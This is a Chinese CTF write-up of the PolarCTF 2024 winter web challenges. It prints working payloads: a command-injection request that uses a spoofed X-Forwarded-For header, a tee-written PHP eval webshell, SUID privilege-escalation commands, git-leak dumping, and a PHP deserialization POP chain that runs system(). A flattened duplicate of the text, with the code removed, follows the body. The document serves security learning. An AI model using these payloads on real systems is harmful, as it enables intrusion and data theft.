PolarCTF-2024冬季赛 (WEB)
字数 928 2025-08-22 18:37:15

PolarCTF-2024冬季赛(WEB)题目解析与解题思路

1. 初始信息收集

通过dirsearch扫描发现Dockerfile文件,获取了以下关键信息:

FROM craigmcmahon/apache-php:v1.3.1
RUN apk update && apk add apache2 apache2-utils
RUN id -u www-data || adduser -u 82 -S www-data -G www-data
RUN mkdir -p /var/www/
COPY . /var/www/
RUN grep -q "LoadModule rewrite_module" /etc/apache2/httpd.conf || \
    echo "LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so" >> /etc/apache2/httpd.conf
RUN echo "ServerName localhost" >> /etc/apache2/httpd.conf
RUN chmod -R 755 /var/www/ && \
    touch /var/www/debug.log && \
    chmod 666 /var/www/debug.log && \
    chown -R www-data:www-data /var/www/
EXPOSE 80

关键点:

  • 使用Apache+PHP环境
  • 开启了rewrite_module模块
  • 设置了宽松的文件权限(755目录,666日志文件)

2. 题目解析与解题方法

2.1 第一关:爆破目录

  • 需要爆破1000次获取目录
  • 目标目录:ed3d2c21991e3bef5e069713af9fa6ca
  • 解题思路:编写脚本进行目录爆破

2.2 第二关:数组传参绕过比大小

  • 文件路径:e744f91c29ec99f0e662c9177946c627.php
  • 漏洞点:使用数组传参绕过数值比较
  • 解题方法:提交数组参数如param[]=xxx绕过比较逻辑

2.3 第三关:XFF伪造与命令注入

  • 文件路径:e744f91c29ec99f0e662c9177946c627.php
  • 漏洞点:
    • 需要伪造X-Forwarded-For头为1.1.1.1
    • 存在命令注入漏洞
  • 解题方法:
    GET /e744f91c29ec99f0e662c9177946c627.php?input=127.0.0.1;cat+/f* HTTP/1.1
    Host: target
    X-Forwarded-For: 1.1.1.1
    

2.4 井字棋游戏

  • 文件路径:game.php
  • 关键点:
    • 前端JS游戏需要获胜才能触发flag获取
    • 可以直接绕过游戏逻辑发送POST请求
  • 解题方法:
    POST /game.php HTTP/1.1
    Host: 23c5f66d-8ca9-4537-a028-65897af6bca5.www.polarctf.com:8090
    Content-Type: application/json
    
    {"winner":"player"}
    

2.5 坦诚相见(RCE绕过)

  • 文件结构:
    • index.php:主文件,包含RCE功能
    • no.php:过滤文件
  • 过滤规则:
    function containsPathTraversal($input) {
        $patterns = [
            '/ /', '/\/\//', '/\%2e\%2e\//', '/\%2E\%2E\\/', 
            '/flag/', '/\//', '/>/'
        ];
        foreach ($patterns as $pattern) {
            if (preg_match($pattern, $input)) {
                return true;
            }
        }
        return false;
    }
    
  • 绕过方法:
    • 使用tee命令写入webshell:
      echo "<?php eval(\$_POST[1]);"|tee 1.php
      
    • 提权方法:
      find / -perm -4000 2>/dev/null
      sudo cat flag
      

2.6 Git泄露与反序列化漏洞

  • 发现方法:使用dirsearch扫描发现.git泄露
  • 工具使用:
    githacker --url http://target/.git/ --output-folder ./output
    
  • 代码审计发现的反序列化链:
    class backDoor {
        private $key;
        public function getInfo(){
            eval($this->key);
        }
    }
    
    class info {
        private $polar520 = 'nukaka';
        public function getInfo(){
            return $this->polar520;
        }
    }
    
    class polar520 {
        private $polarday = 'nukaka';
        private $polarnight = 'nukaka';
        private $polar = false;
        private $class;
    
        public function __construct(){
            $this->class = new info();
        }
    
        public function login($a, $b){
            return $this->polarday === $a && $this->polarnight === $b;
        }
    
        public function __destruct(){
            $this->class->getInfo();
        }
    }
    
  • 构造的POP链:
    class backDoor {
        private $key;
        public function __construct() {
            $this->key = "system('cat /f*');";
        }
    }
    
    class polar520 {
        private $class;
        public function __construct() {
            $this->class = new backDoor();
        }
    }
    
    $a = new polar520();
    echo urlencode(serialize($a));
    
  • 利用方法:
    1. 将构造的反序列化payload通过Cookie传递
    2. 同时提供polardaypolarnight参数触发漏洞

3. 总结

本次CTF题目涵盖了多种Web安全漏洞类型:

  1. 信息收集与目录爆破
  2. 逻辑漏洞(数组传参绕过)
  3. HTTP头注入与命令注入
  4. 游戏逻辑绕过
  5. RCE过滤绕过与权限提升
  6. Git泄露与PHP反序列化漏洞

每种漏洞类型都有其特定的利用方式和防御方法,理解这些漏洞的原理对于Web安全学习和实践具有重要意义。

PolarCTF-2024冬季赛(WEB)题目解析与解题思路 1. 初始信息收集 通过dirsearch扫描发现Dockerfile文件,获取了以下关键信息: 关键点: 使用Apache+PHP环境 开启了rewrite_ module模块 设置了宽松的文件权限(755目录,666日志文件) 2. 题目解析与解题方法 2.1 第一关:爆破目录 需要爆破1000次获取目录 目标目录: ed3d2c21991e3bef5e069713af9fa6ca 解题思路:编写脚本进行目录爆破 2.2 第二关:数组传参绕过比大小 文件路径: e744f91c29ec99f0e662c9177946c627.php 漏洞点:使用数组传参绕过数值比较 解题方法:提交数组参数如 param[]=xxx 绕过比较逻辑 2.3 第三关:XFF伪造与命令注入 文件路径: e744f91c29ec99f0e662c9177946c627.php 漏洞点: 需要伪造X-Forwarded-For头为 1.1.1.1 存在命令注入漏洞 解题方法: 2.4 井字棋游戏 文件路径: game.php 关键点: 前端JS游戏需要获胜才能触发flag获取 可以直接绕过游戏逻辑发送POST请求 解题方法: 2.5 坦诚相见(RCE绕过) 文件结构: index.php :主文件,包含RCE功能 no.php :过滤文件 过滤规则: 绕过方法: 使用 tee 命令写入webshell: 提权方法: 2.6 Git泄露与反序列化漏洞 发现方法:使用dirsearch扫描发现.git泄露 工具使用: 代码审计发现的反序列化链: 构造的POP链: 利用方法: 将构造的反序列化payload通过Cookie传递 同时提供 polarday 和 polarnight 参数触发漏洞 3. 总结 本次CTF题目涵盖了多种Web安全漏洞类型: 信息收集与目录爆破 逻辑漏洞(数组传参绕过) HTTP头注入与命令注入 游戏逻辑绕过 RCE过滤绕过与权限提升 Git泄露与PHP反序列化漏洞 每种漏洞类型都有其特定的利用方式和防御方法,理解这些漏洞的原理对于Web安全学习和实践具有重要意义。